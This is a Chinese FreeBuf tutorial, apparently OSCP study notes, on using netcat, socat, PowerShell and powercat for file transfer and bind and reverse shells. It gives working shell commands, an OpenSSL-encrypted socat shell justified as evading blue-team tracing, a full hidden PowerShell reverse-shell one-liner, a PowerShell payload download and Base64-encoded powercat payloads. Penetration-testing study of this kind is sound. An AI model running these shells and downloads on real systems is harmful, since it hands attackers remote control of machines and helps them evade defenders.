freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSCP|第四章 实用的工具
2022-04-08 20:02:09
所属地 广东省

Netcat

Netcat 是一个非常好用的一个工具,我们可以用它传送文件,反弹shell,监听端口等。

连接TCP/UDP 端口

我们可以用客户端去连接任何TCP/UDP端口

  • 查看端口是否开启/关闭

  • 读取关于该服务的banner信息

  • 手动连接该服务

nc -nv <ip-address> <port>

监听 TCP/UDP 端口

nc -nlvp <port>
example: nc -nlvp 4445
-n 不需要DNS解析
-l 创造一个监听
-v 更加详细的透露消息
-p 需要监听的端口

利用Netcat 传输文件

接受端(开启监听端口)
nc -nlvp <port> > <filename>
example: nc -nlvp 4445 > payload.txt
发送端(连接别人的端口)
nc -nv <ip-address> <port> < <filename>
example: nc -nv 192.168.98.23 < payload.txt

利用Netcat来控制机器

正向连接

目标机自行开启监听端口 攻击机主动去连接端口

常用于内网机器不出网的时候

# 目标机 自行开启端口
Windows: nc -nlvp -e cmd.exe
Linux: nc -nlvp -e /bin/bash
# PS: 有时候Netcat的版本不够高,可能会没有-e 这个参数,各位师傅就自行去 google搜 [reverse shell generator]

# 攻击机 自动连接端口
Kali Linux: nc -nv <ip-address> <port>

反向连接

攻击机开启端口 目标机连接攻击机

Windows: nc -nv <ip-address> <port> -e cmd.exe
Linux: nc -nv <ip-address> <port> -e /bin/bash

Kali Linux: nc -lnvp <port>

Socat

Netcat VS Socat

# 连接目标端口
nc <ip-address> <port>
socat - TCP4:<ip-address>:<port>

# 开启监听本地端口
nc -lvp 443
socat TCP4-LISTEN:443 STDOUT

Socat 文件传输

# 发送端
socat TCP4-LISTEN:4445,fork file:secret.txt

# 接受端
socat TCP:<ip-address>:<port> file:received_secret_password.txt,create

Socat Reverse Shell

# 攻击机
socat -d -d TCP4-LISTEN:4445 STDOUT

# 目标机
socat TCP4:<ip-address>:4445 EXEC:/bin/bash

Socat 加密正向shell

为什么要流量加密?流量不加密容易被蓝队溯源,信息加密能让我们存活更长一段时间。

我们需要用到openssl来生成自己的证书

# 需要用到的参数
req 初始化一个签名证书 (request)
-newkey 生成一个私钥
rsa:2048 用2048比特长的钥匙用RSA加密
-nodes 储存一个私钥,不需要密码的保护
-keyout 保存密钥到一个文件里
-x509 输出一个 自己签证的证书
-days 设置一个期限
-out 生成一个证书

openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 31 -out bind_shell.crt

# 然后会输入一些信息

cat bind_shell.key bind_shell.crt > bind_shell.pem
# 生成.pem文件才能使用socat来对流量进行加密
# 目标机
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

# 攻击机
socat - OPENSSL:<ip-address>:<port>,verify=0

Powershell && Powercat

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。

在Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0,Windows 10,11中内置了PowerShell5.1如果本机没有添加,可在网上下载安装包进行安装,或者下载WebPI,通过WebPI安装PowerShell。

# 当受到UAC保护的时候 请输入以下指令
Set-ExecutionPolicy Unrestricted

Powershell 文件传输

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://example.com/payload.exe'),'C:\Users\Public\Download\payload.exe'"

Powershell Reverse/Bind Shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

好长 Orz, 各位师傅请自行在 reverse shell generator复制吧

Powercat

Powercat 是 Powershell 的Netcat

# Kali Linux 没有的话可以下载
sudo apt install powercat

# Windows
. .\powercat.ps1

Powercat 文件传输

# Kali Linux
sudo nc -lnvp 443 > receving_powercat.ps1

# Windows
powercat -c <ip-address> -p <port> -i C:\Users\Public\Downloads\powercat.ps1

Powercat Shell

Bind Shell

# Kali Linux
nc <ip-address> <port>

# Windows
powercat -l -p 443 -e cmd.exe

Reverse Shell

# Kali Linux
nc -lvp 443

# Windows
powercat -c <ip-address> -p <port> -e cmd.exe

Powercat 独立的 Payload

Powercat 可以独立生成一个自己的ps1 方便自己独自调用

powercat -c <ip-address> -p <port> -e cmd.exe -g > reverseshell.ps1

# 可以用Base64 去加密我们的reverse_shell
powercat -c <ip-address> -p <port> -e cmd.exe -ge > encodedreverseshell.ps1

Wireshark

Wireshark 可以进行流量嗅探,解包,进行溯源工作。

Wireshark 安装使用教程

# 渗透测试 # 黑客 # 网络安全 # web安全 # OSCP
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录